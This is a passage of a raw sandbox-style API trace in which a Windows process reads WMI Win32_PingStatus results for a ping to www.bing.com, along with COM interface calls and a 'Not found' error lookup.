varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b27b4*=8, plFlavor=0x28b27b8*=64) returned 0x0 [0141.667] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.667] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.667] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b298c*=0, plFlavor=0x28b2990*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b298c*=3, plFlavor=0x28b2990*=64) returned 0x0 [0141.667] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b29c0*=0, plFlavor=0x28b29c4*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b29c0*=8200, plFlavor=0x28b29c4*=64) returned 0x0 [0141.668] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b29f4*=0, plFlavor=0x28b29f8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b29f4*=8, plFlavor=0x28b29f8*=64) returned 0x0 [0141.668] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.668] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.668] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2a40*=0, plFlavor=0x28b2a44*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b2a40*=8, plFlavor=0x28b2a44*=64) returned 0x0 [0141.668] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.668] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.668] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2a8c*=0, plFlavor=0x28b2a90*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b2a8c*=8, plFlavor=0x28b2a90*=64) returned 0x0 [0141.668] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.668] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0141.668] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0141.668] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.669] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ResponseTime", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2cc0*=0, plFlavor=0x28b2cc4*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), pType=0x28b2cc0*=19, plFlavor=0x28b2cc4*=0) returned 0x0 [0141.669] IWbemClassObject:Get (in: This=0x5ce3798, wszName="ResponseTime", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b2cc0*=19, plFlavor=0x28b2cc4*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), pType=0x28b2cc0*=19, plFlavor=0x28b2cc4*=0) returned 0x0 [0141.669] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.669] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.669] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.669] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.669] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.669] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.669] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0141.670] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.670] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0141.670] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0141.670] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.670] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.670] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.670] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.670] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.670] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.670] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.670] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.670] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.670] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.670] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.670] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.670] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.670] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.671] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.671] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.671] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.671] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.671] SysStringByteLen (bstr="__PATH") returned 0xc [0141.671] SysStringByteLen (bstr="__PATH") returned 0xc [0141.671] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b316c*=0, plFlavor=0x28b3170*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b316c*=3, plFlavor=0x28b3170*=64) returned 0x0 [0141.671] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b31a0*=0, plFlavor=0x28b31a4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b31a0*=8, plFlavor=0x28b31a4*=64) returned 0x0 [0141.671] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.671] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.671] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b31f8*=0, plFlavor=0x28b31fc*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b31f8*=8, plFlavor=0x28b31fc*=64) returned 0x0 [0141.672] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3220*=0, plFlavor=0x28b3224*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b3220*=8, plFlavor=0x28b3224*=64) returned 0x0 [0141.672] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.672] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.672] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3278*=0, plFlavor=0x28b327c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b3278*=8, plFlavor=0x28b327c*=64) returned 0x0 [0141.672] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.672] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.672] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3450*=0, plFlavor=0x28b3454*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28b3450*=3, plFlavor=0x28b3454*=64) returned 0x0 [0141.672] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3484*=0, plFlavor=0x28b3488*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28b3484*=8200, plFlavor=0x28b3488*=64) returned 0x0 [0141.673] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b34b8*=0, plFlavor=0x28b34bc*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28b34b8*=8, plFlavor=0x28b34bc*=64) returned 0x0 [0141.673] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.673] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.673] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3504*=0, plFlavor=0x28b3508*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28b3504*=8, plFlavor=0x28b3508*=64) returned 0x0 [0141.673] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.673] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.673] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3550*=0, plFlavor=0x28b3554*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28b3550*=8, plFlavor=0x28b3554*=64) returned 0x0 [0141.673] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.673] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.673] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0141.673] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0141.673] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.673] IWbemClassObject:Get (in: This=0x5ce3798, wszName="WriteErrorStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3784*=0, plFlavor=0x28b3788*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3784*=0, plFlavor=0x28b3788*=0) returned 0x80041002 [0141.673] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0141.675] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d13998) returned 0x0 [0141.675] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d13998, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0141.675] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d13998, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d139a8) returned 0x0 [0141.675] WbemStatusCodeText:IUnknown:Release (This=0x5d13998) returned 0x0 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d139a8) returned 0x0 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0141.676] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139a8) returned 0x3 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0141.676] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0141.676] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0141.676] WbemStatusCodeText:IUnknown:Release (This=0x5d139a8) returned 0x2 [0141.676] WbemStatusCodeText:IUnknown:Release (This=0x5d139a8) returned 0x1 [0141.676] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0141.676] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0141.676] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d139a8, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d139a8) returned 0x0 [0141.676] WbemStatusCodeText:IUnknown:AddRef (This=0x5d139a8) returned 0x3 [0141.677] WbemStatusCodeText:IUnknown:Release (This=0x5d139a8) returned 0x2 [0141.677] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d139a8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0141.677] SysStringByteLen (bstr="Not found ") returned 0x14 [0141.678] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.678] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.678] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.678] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0141.678] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0141.678] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.678] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0141.678] SafeArrayGetDim (psa=0x5cea250) returned 0x1 [0141.678] SafeArrayGetDim (psa=0x5cea250) returned 0x1 [0141.678] SafeArrayGetLBound (in: psa=0x5cea250, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0141.678] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.678] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.678] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.678] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.678] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.678] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.678] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.679] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.679] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.679] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.679] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.679] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.679] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.679] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.679] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.679] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.679] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.679] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.679] SysStringByteLen (bstr="__PATH") returned 0xc [0141.679] SysStringByteLen (bstr="__PATH") returned 0xc [0141.679] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3b64*=0, plFlavor=0x28b3b68*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28b3b64*=3, plFlavor=0x28b3b68*=64) returned 0x0 [0141.679] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3b98*=0, plFlavor=0x28b3b9c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b3b98*=8, plFlavor=0x28b3b9c*=64) returned 0x0 [0141.679] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.679] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.679] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3bf0*=0, plFlavor=0x28b3bf4*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3bf0*=8, plFlavor=0x28b3bf4*=64) returned 0x0 [0141.680] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28b3c18*=0, plFlavor=0x28b3c1c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28b3c18*=8, plFlavor=0x28b3c1c*=64) returned 0x0 [0141.680] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.680] 